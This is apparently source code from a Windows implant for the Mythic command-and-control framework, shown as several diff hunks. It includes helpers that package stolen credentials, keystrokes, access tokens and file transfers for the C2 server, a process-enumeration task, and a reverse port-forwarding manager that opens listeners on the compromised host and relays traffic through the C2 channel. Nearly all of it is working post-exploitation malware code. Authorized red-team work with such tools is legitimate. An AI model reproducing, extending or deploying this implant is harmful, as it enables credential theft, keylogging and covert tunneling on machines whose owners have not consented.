// Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
// All optional fields use length-prefixed strings, integers are big-endian
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
PCHAR app_container_sid, PCHAR privileges, UINT64 handle) {
if (!paquete) {
return;
}
// Token marker (0xF4)
addByte(paquete, 0xF4);
// Required: token_id
addInt32(paquete, token_id);
// Optional fields - use empty string if NULL
#define ADD_OPT_STRING(str) do { \
if (str) { \
SIZE_T len = strlen(str); \
addInt32(paquete, (UINT32)len); \
addString(paquete, str, FALSE); \
} else { \
addInt32(paquete, 0); \
} \
} while(0)
ADD_OPT_STRING(host);
ADD_OPT_STRING(description);
ADD_OPT_STRING(user);
ADD_OPT_STRING(groups);
addInt32(paquete, thread_id);
addInt32(paquete, process_id);
ADD_OPT_STRING(default_dacl);
addInt32(paquete, session_id);
addByte(paquete, restricted ? 1 : 0);
ADD_OPT_STRING(capabilities);
ADD_OPT_STRING(logon_sid);
addInt32(paquete, integrity_level_sid);
addInt32(paquete, app_container_number);
ADD_OPT_STRING(app_container_sid);
ADD_OPT_STRING(privileges);
// Handle as 8-byte integer (UINT64)
addInt64(paquete, handle);
}
// Helper function to add callback token (register/unregister token for use in tasking)
// Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
// action must be "add" or "remove"
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id) {
if (!paquete || !action) {
return;
}
// Callback token marker (0xF3)
addByte(paquete, 0xF3);
// Action length and value ("add" or "remove")
SIZE_T action_len = strlen(action);
addInt32(paquete, (UINT32)action_len);
addString(paquete, action, FALSE);
// Host (optional - use empty string if NULL)
if (host) {
SIZE_T host_len = strlen(host);
addInt32(paquete, (UINT32)host_len);
addString(paquete, host, FALSE);
} else {
addInt32(paquete, 0);
}
// Token ID
addInt32(paquete, token_id);
}
// Helper function to add callback context (cwd, impersonation_context, etc.)
// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
// Can be called multiple times to add multiple fields
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) {
if (!paquete || !field_name) {
return;
}
// Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0
// This marker indicates callback context data
addByte(paquete, 0xF0);
// Field name length and value (e.g., "cwd", "impersonation_context")
SIZE_T name_len = strlen(field_name);
addInt32(paquete, (UINT32)name_len);
addString(paquete, field_name, FALSE);
// Field value (optional - use empty string if NULL)
if (field_value) {
SIZE_T value_len = strlen(field_value);
addInt32(paquete, (UINT32)value_len);
addString(paquete, field_value, FALSE);
} else {
addInt32(paquete, 0);
}
}
@@ -0,0 +1,83 @@
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#include <windows.h>
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
/* Formatted append helper */
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
/* Artifact helper: adds artifact marker and data to response package */
/* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
/* Credential helper: adds credential marker and data to response package */
/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
/* Download helpers: for file download from agent to Mythic */
/* Format for download registration: [0xFD marker][action:1][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
/* Format for download chunk: [0xFC marker][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
/* action: 0 = registration, 1 = chunk */
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);
/* Upload helpers: for file upload from Mythic to agent */
/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);
/* Commands helper: for reporting command add/remove to Mythic */
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
/* action must be "add" or "remove", cmd is the command name */
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);
/* Keylog helper: for reporting keystrokes to Mythic */
/* Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] */
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes);
/* Token helper: for reporting tokens to Mythic (viewable in Search -> Tokens) */
/* Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] */
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
PCHAR app_container_sid, PCHAR privileges, UINT64 handle);
/* Callback token helper: for registering/unregistering tokens for use in tasking */
/* Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] */
/* action must be "add" or "remove" */
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */
/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */
/* Can be called multiple times to add multiple fields */
/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value);
#endif
@@ -0,0 +1,126 @@
#undef UNICODE
#include "procesos.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "spawn.h"
/* forward decls to avoid implicit warnings */
BOOL SelfIsWindowsVistaOrLater();
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#include <tlhelp32.h>
#include <psapi.h>
// Nota: Removidas estructuras de PEB ya que no obtenemos command_line (como Xenon)
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
if (!result) {
return FALSE;
}
CloseHandle(hToken);
return result;
}
// Nota: Como Xenon, no obtenemos command_line para mantener simplicidad y compatibilidad
VOID listarProcesos(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
char nombreCuenta[2048] = { 0 };
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
char* arch;
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
// Como Xenon: intentar abrir proceso para obtener info adicional
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid = -1;
// Inicializar valores por defecto
nombreCuenta[0] = '\0';
BOOL isWow64 = FALSE;
if (hProcess) {
// Obtener información del usuario
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
nombreCuenta[0] = '\0';
}
// Obtener Session ID
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
// Obtener arquitectura
isWow64 = IsWow64ProcessEx(hProcess);
CloseHandle(hProcess);
} else {
// Si no podemos abrir el proceso, intentar obtener al menos el Session ID
ProcessIdToSessionId(pe.th32ProcessID, &sid);
}
// Formato exacto como Xenon: nombre\tPPID\tPID\tarch\tuser\tsession\n
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
hProcess ? (isWow64 ? "x86" : arch) : arch, // Usar arch por defecto si no podemos abrir
nombreCuenta[0] != '\0' ? nombreCuenta : "",
sid != -1 ? sid : 0);
} while (Process32Next(toolhelp, &pe));
}
else {
DWORD error = GetLastError();
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(errorPaquete, tareaUuid, FALSE);
addInt32(errorPaquete, error);
mandarPaquete(errorPaquete);
liberarPaquete(errorPaquete);
goto cleanup;
}
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
if (!respuestaAnalizador) {
_err("[-] Error al mandar paquete\n");
}
liberarPaquete(respuestaTarea);
cleanup:
if (toolhelp) {
CloseHandle(toolhelp);
}
liberarPaquete(salida);
}
@@ -0,0 +1,10 @@
#pragma once
#ifndef PROCESOS_H
#define PROCESOS_H
#include <windows.h>
#include "analizador.h"
VOID listarProcesos(PAnalizador argumentos);
#endif
@@ -0,0 +1,757 @@
#include "rpfwd_manager.h"
#include "debug.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#include "utils.h"
#include <stdint.h>
#include <errno.h>
#ifdef _WIN32
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
typedef SOCKET sock_t;
#define CLOSESOCK(s) closesocket(s)
#else
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
typedef int sock_t;
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define CLOSESOCK(s) close(s)
#endif
volatile int rpfwd_active = 0; // Flag global de estado RPFWD
typedef struct rpfwd_conn_entry {
uint32_t server_id;
sock_t sock;
uint32_t port; // Local port this connection is on
struct rpfwd_conn_entry *next;
int closed;
} rpfwd_conn_entry_t;
static rpfwd_conn_entry_t *conn_list = NULL;
#ifdef _WIN32
static CRITICAL_SECTION conn_lock;
#else
static pthread_mutex_t conn_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
typedef struct outgoing_node {
rpfwd_msg_t msg;
struct outgoing_node *next;
} outgoing_node_t;
static outgoing_node_t *out_head = NULL;
static outgoing_node_t *out_tail = NULL;
#ifdef _WIN32
static CRITICAL_SECTION out_lock;
#else
static pthread_mutex_t out_lock = PTHREAD_MUTEX_INITIALIZER;
#endif
static sock_t listener_sock = INVALID_SOCKET;
static uint16_t listener_port = 0;
#ifdef _WIN32
static HANDLE listener_thread_handle = NULL;
#else
static pthread_t listener_thread_id = 0;
#endif
/* === Inicialización / limpieza === */
void rpfwd_manager_init(void) {
_inf("rpfwd_manager_init: INICIO");
static int initialized = 0;
if (initialized) {
_inf("rpfwd_manager_init: Ya inicializado, retornando");
return;
}
initialized = 1;
_inf("rpfwd_manager_init: Inicializando por primera vez...");
#ifdef _WIN32
_inf("rpfwd_manager_init: Inicializando CriticalSections...");
InitializeCriticalSection(&conn_lock);
InitializeCriticalSection(&out_lock);
_inf("rpfwd_manager_init: Inicializando Winsock...");
WSADATA wsa;
int wsa_ret = WSAStartup(MAKEWORD(2,2), &wsa);
if (wsa_ret != 0) {
_err("rpfwd_manager_init: WSAStartup falló con error %d", wsa_ret);
} else {
_inf("rpfwd_manager_init: WSAStartup OK");
}
#else
pthread_mutex_init(&conn_lock, NULL);
pthread_mutex_init(&out_lock, NULL);
#endif
_inf("rpfwd_manager_init: COMPLETADO");
}
void rpfwd_manager_cleanup(void) {
_dbg("rpfwd_manager_cleanup()");
rpfwd_manager_stop_listener();
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list;
while (cur) {
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
rpfwd_conn_entry_t *n = cur->next;
free(cur);
cur = n;
}
conn_list = NULL;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
DeleteCriticalSection(&conn_lock);
DeleteCriticalSection(&out_lock);
WSACleanup();
#else
pthread_mutex_unlock(&conn_lock);
pthread_mutex_destroy(&conn_lock);
pthread_mutex_destroy(&out_lock);
#endif
rpfwd_active = 0;
}
/* === Gestión de conexiones === */
static rpfwd_conn_entry_t* find_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list;
while (cur) {
if (cur->server_id == server_id) {
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return cur;
}
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
return NULL;
}
static rpfwd_conn_entry_t* create_entry(uint32_t server_id, sock_t s, uint32_t port) {
rpfwd_conn_entry_t *e = malloc(sizeof(rpfwd_conn_entry_t));
if (!e) return NULL;
e->server_id = server_id;
e->sock = s;
e->port = port;
e->next = NULL;
e->closed = 0;
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
e->next = conn_list;
conn_list = e;
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
_dbg("create_entry sid=%u sock=%d port=%u", server_id, (int)s, port);
return e;
}
static void remove_entry(uint32_t server_id) {
#ifdef _WIN32
EnterCriticalSection(&conn_lock);
#else
pthread_mutex_lock(&conn_lock);
#endif
rpfwd_conn_entry_t *cur = conn_list, *prev = NULL;
while (cur) {
if (cur->server_id == server_id) {
if (prev) prev->next = cur->next;
else conn_list = cur->next;
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
_dbg("remove_entry sid=%u", server_id);
free(cur);
break;
}
prev = cur;
cur = cur->next;
}
#ifdef _WIN32
LeaveCriticalSection(&conn_lock);
#else
pthread_mutex_unlock(&conn_lock);
#endif
}
/* === Cola de salida === */
static void enqueue_outgoing(rpfwd_msg_t *m) {
_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu port=%u", m->server_id, m->exit_flag, m->data_len, m->port);
outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
memset(n,0,sizeof(*n));
n->msg.server_id = m->server_id;
n->msg.exit_flag = m->exit_flag;
n->msg.data_len = m->data_len;
n->msg.port = m->port;
if (m->data_len) {
n->msg.data = malloc(m->data_len);
memcpy(n->msg.data, m->data, m->data_len);
} else n->msg.data = NULL;
n->next = NULL;
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
if (!out_tail) out_head = out_tail = n;
else { out_tail->next = n; out_tail = n; }
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
_dbg("Mensaje RPFWD encolado OK (sid=%u)", m->server_id);
}
/* === Volcado de cola de salida === */
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx) {
_dbg("rpfwd_flush_outgoing: iniciando");
if (!cb) {
_err("ERROR: callback es NULL");
return;
}
#ifdef _WIN32
EnterCriticalSection(&out_lock);
#else
pthread_mutex_lock(&out_lock);
#endif
outgoing_node_t *n = out_head;
out_head = out_tail = NULL;
#ifdef _WIN32
LeaveCriticalSection(&out_lock);
#else
pthread_mutex_unlock(&out_lock);
#endif
int count = 0;
while (n) {
count++;
_dbg("rpfwd_flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu port=%u)",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len, n->msg.port);
outgoing_node_t *next = n->next;
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, n->msg.port, ctx);
if (n->msg.data) free(n->msg.data);
free(n);
n = next;
}
_dbg("rpfwd_flush_outgoing: completado (%d mensajes procesados)", count);
}
/* === Generar server_id único === */
static uint32_t generate_server_id(void) {
// Generate random server_id (uint32_t)
// Use combination of time and random
#ifdef _WIN32
srand((unsigned int)(time(NULL) ^ GetCurrentProcessId()));
#else
srand((unsigned int)(time(NULL) ^ getpid()));
#endif
uint32_t sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
// Ensure it's unique by checking existing entries (limit iterations to avoid infinite loop)
int max_iterations = 100;
while (find_entry(sid) != NULL && max_iterations-- > 0) {
sid = (uint32_t)aleatorioInt32(1000, 0x7FFFFFFF);
}
if (max_iterations <= 0) {
_err("rpfwd ERROR: Could not generate unique server_id");
sid = 0;
}
return sid;
}
/* === Thread lector (lee de conexión local y envía a Mythic) === */
#ifdef _WIN32
DWORD WINAPI rpfwd_reader_thread(LPVOID arg);
#else
static void* rpfwd_reader_thread(void* arg);
#endif
typedef struct rpfwd_reader_args {
uint32_t server_id;
sock_t s;
uint32_t port;
} rpfwd_reader_args_t;
#ifdef _WIN32
DWORD WINAPI rpfwd_reader_thread(LPVOID arg) {
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
if (!ra) {
_err("rpfwd_reader_thread: arg is NULL");
return 1;
}
uint32_t sid = ra->server_id;
sock_t s = ra->s;
uint32_t port = ra->port;
free(ra);
_dbg("rpfwd_reader_thread iniciado para sid=%u socket=%d port=%u", sid, (int)s, port);
unsigned char *buf = (unsigned char*)malloc(4096);
if (!buf) {
_err("rpfwd_reader_thread: malloc failed");
CLOSESOCK(s);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
return 1;
}
int loop_count = 0;
while (1) {
loop_count++;
_dbg("rpfwd sid=%u loop #%d, llamando recv()...", sid, loop_count);
int r = recv(s, (char*)buf, 4096, 0);
_dbg("rpfwd sid=%u recv() retornó r=%d", sid, r);
if (r < 0) {
int err = WSAGetLastError();
_dbg("rpfwd WSAError=%d", err);
}
if (r <= 0) break;
_dbg("rpfwd sid=%u recibió %d bytes, encolando...", sid, r);
// Allocate new buffer for the message
unsigned char *msg_buf = (unsigned char*)malloc(r);
if (msg_buf) {
memcpy(msg_buf, buf, r);
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
enqueue_outgoing(&m);
_dbg("rpfwd sid=%u datos encolados OK", sid);
} else {
_err("rpfwd_reader_thread: malloc for msg_buf failed");
}
}
_dbg("rpfwd sid=%u salió del loop, cerrando socket", sid);
free(buf);
_dbg("rpfwd reader sid=%u closing", sid);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
CLOSESOCK(s);
_dbg("rpfwd reader thread terminado para sid=%u", sid);
return 0;
}
#else
static void* rpfwd_reader_thread(void* arg) {
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)arg;
if (!ra) {
_err("rpfwd_reader_thread: arg is NULL");
return NULL;
}
uint32_t sid = ra->server_id;
sock_t s = ra->s;
uint32_t port = ra->port;
free(ra);
unsigned char *buf = (unsigned char*)malloc(4096);
if (!buf) {
_err("rpfwd_reader_thread: malloc failed");
CLOSESOCK(s);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
return NULL;
}
while (1) {
ssize_t r = recv(s, buf, 4096, 0);
if (r <= 0) break;
_dbg("rpfwd reader sid=%u recv=%zd", sid, r);
// Allocate new buffer for the message
unsigned char *msg_buf = (unsigned char*)malloc(r);
if (msg_buf) {
memcpy(msg_buf, buf, r);
rpfwd_msg_t m = {sid, 0, msg_buf, (size_t)r, port};
enqueue_outgoing(&m);
} else {
_err("rpfwd_reader_thread: malloc for msg_buf failed");
}
}
free(buf);
_dbg("rpfwd reader sid=%u closing", sid);
rpfwd_msg_t m2 = {sid, 1, NULL, 0, port};
enqueue_outgoing(&m2);
CLOSESOCK(s);
return NULL;
}
#endif
/* === Thread listener (acepta conexiones locales) === */
#ifdef _WIN32
DWORD WINAPI rpfwd_listener_thread(LPVOID arg);
#else
static void* rpfwd_listener_thread(void* arg);
#endif
#ifdef _WIN32
DWORD WINAPI rpfwd_listener_thread(LPVOID arg) {
uint16_t port = *(uint16_t*)arg;
free(arg);
_inf("rpfwd_listener_thread iniciado en puerto %u", port);
struct sockaddr_in sa;
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
if (listen_sock == INVALID_SOCKET) {
DWORD err = WSAGetLastError();
_err("rpfwd ERROR: socket() failed, WSAError=%lu", err);
rpfwd_active = 0;
return 1;
}
_inf("rpfwd socket creado exitosamente");
// Set SO_REUSEADDR
int opt = 1;
if (setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt)) != 0) {
DWORD err = WSAGetLastError();
_wrn("rpfwd WARNING: setsockopt SO_REUSEADDR failed, WSAError=%lu (continuando...)", err);
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
DWORD err = WSAGetLastError();
_err("rpfwd ERROR: bind() failed on port %u, WSAError=%lu", port, err);
if (err == WSAEACCES || err == 10013) {
_err("rpfwd ERROR: Puerto %u requiere privilegios de administrador (puertos privilegiados: <1024)", port);
_err("rpfwd ERROR: Sugerencia: Usa un puerto no privilegiado (>=1024), ej: 8080, 4444, 5555");
} else if (err == WSAEADDRINUSE || err == 10048) {
_err("rpfwd ERROR: Puerto %u ya está en uso", port);
} else {
_err("rpfwd ERROR: Error desconocido al hacer bind(), WSAError=%lu", err);
}
CLOSESOCK(listen_sock);
rpfwd_active = 0;
return 1;
}
_inf("rpfwd bind exitoso en puerto %u", port);
if (listen(listen_sock, 10) != 0) {
DWORD err = WSAGetLastError();
_err("rpfwd ERROR: listen() failed, WSAError=%lu", err);
CLOSESOCK(listen_sock);
rpfwd_active = 0;
return 1;
}
_inf("rpfwd listen exitoso");
listener_sock = listen_sock;
_inf("rpfwd listener escuchando en puerto %u (socket=%d)", port, (int)listen_sock);
while (rpfwd_active) {
struct sockaddr_in client_addr;
int addr_len = sizeof(client_addr);
_dbg("rpfwd esperando conexión en puerto %u...", port);
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
if (client_sock == INVALID_SOCKET) {
DWORD err = WSAGetLastError();
if (!rpfwd_active) {
_inf("rpfwd listener deteniéndose (rpfwd_active=0)");
break;
}
if (err != WSAEWOULDBLOCK && err != 0) {
_wrn("rpfwd accept() error: WSAError=%lu (continuando...)", err);
}
continue;
}
// Generate unique server_id for this connection
uint32_t sid = generate_server_id();
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// Set timeout
int timeout_ms = 60000; // 60s
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms));
// Create entry
create_entry(sid, client_sock, port);
// Spawn reader thread
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
if (!ra) {
_err("rpfwd ERROR: malloc failed for reader args");
CLOSESOCK(client_sock);
continue;
}
ra->server_id = sid;
ra->s = client_sock;
ra->port = port;
// Send initial data notification to Mythic (empty data, new connection)
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
enqueue_outgoing(&m);
HANDLE th = CreateThread(NULL, 0, rpfwd_reader_thread, ra, 0, NULL);
if (!th) {
_err("rpfwd ERROR: CreateThread failed for reader");
free(ra);
CLOSESOCK(client_sock);
remove_entry(sid);
continue;
}
CloseHandle(th); // Don't wait for thread, just close handle
}
CLOSESOCK(listen_sock);
listener_sock = INVALID_SOCKET;
_dbg("rpfwd_listener_thread terminado");
return 0;
}
#else
static void* rpfwd_listener_thread(void* arg) {
uint16_t port = *(uint16_t*)arg;
free(arg);
_dbg("rpfwd_listener_thread iniciado en puerto %u", port);
struct sockaddr_in sa;
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
if (listen_sock == INVALID_SOCKET) {
_err("rpfwd ERROR: socket() failed");
return (void*)(intptr_t)1;
}
// Set SO_REUSEADDR
int opt = 1;
setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
_err("rpfwd ERROR: bind() failed on port %u, errno=%d", port, errno);
CLOSESOCK(listen_sock);
return (void*)(intptr_t)1;
}
if (listen(listen_sock, 10) != 0) {
_err("rpfwd ERROR: listen() failed, errno=%d", errno);
CLOSESOCK(listen_sock);
return (void*)(intptr_t)1;
}
listener_sock = listen_sock;
_dbg("rpfwd listener escuchando en puerto %u", port);
while (rpfwd_active) {
struct sockaddr_in client_addr;
socklen_t addr_len = sizeof(client_addr);
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
if (client_sock == INVALID_SOCKET) {
if (!rpfwd_active) break;
continue;
}
// Generate unique server_id
uint32_t sid = generate_server_id();
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// Set timeout
struct timeval timeout;
timeout.tv_sec = 60;
timeout.tv_usec = 0;
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
// Create entry
create_entry(sid, client_sock, port);
// Spawn reader thread
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
if (!ra) {
_err("rpfwd ERROR: malloc failed for reader args");
CLOSESOCK(client_sock);
continue;
}
ra->server_id = sid;
ra->s = client_sock;
ra->port = port;
// Send initial data notification to Mythic (empty data, new connection)
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
enqueue_outgoing(&m);
pthread_t tid;
if (pthread_create(&tid, NULL, rpfwd_reader_thread, ra) != 0) {
_err("rpfwd ERROR: pthread_create failed for reader");
free(ra);
CLOSESOCK(client_sock);
remove_entry(sid);
continue;
}
pthread_detach(tid);
}
CLOSESOCK(listen_sock);
listener_sock = INVALID_SOCKET;
_dbg("rpfwd_listener_thread terminado");
return NULL;
}
#endif
/* === Procesamiento principal (datos desde Mythic hacia conexión local) === */
int rpfwd_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port) {
_dbg("rpfwd_process_incoming: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
if (server_id == 0) {
_err("rpfwd ERROR: invalid server_id=%u", server_id);
return -4;
}
if (exit_flag) {
_dbg("rpfwd Exit flag set, removiendo entry sid=%u", server_id);
remove_entry(server_id);
return 0;
}
rpfwd_conn_entry_t *e = find_entry(server_id);
if (!e) {
_dbg("rpfwd Nueva conexión desde Mythic para sid=%u, pero no existe entry local", server_id);
// Entry doesn't exist - might be a new connection notification from Mythic
// This is normal for RPFWD, just ignore
return 0;
}
if (e->closed) {
_dbg("rpfwd Conexión sid=%u ya está cerrada", server_id);
return 0;
}
// Forward data to local TCP connection
if (data_len > 0 && data) {
int sent = send(e->sock, (const char*)data, (int)data_len, 0);
if (sent <= 0) {
_dbg("rpfwd Error enviando datos a sid=%u, cerrando", server_id);
remove_entry(server_id);
rpfwd_msg_t m = {server_id, 1, NULL, 0, port};
enqueue_outgoing(&m);
return -1;
}
_dbg("rpfwd Enviados %d bytes a sid=%u", sent, server_id);
}
return 0;
}
/* === Start/Stop listener === */
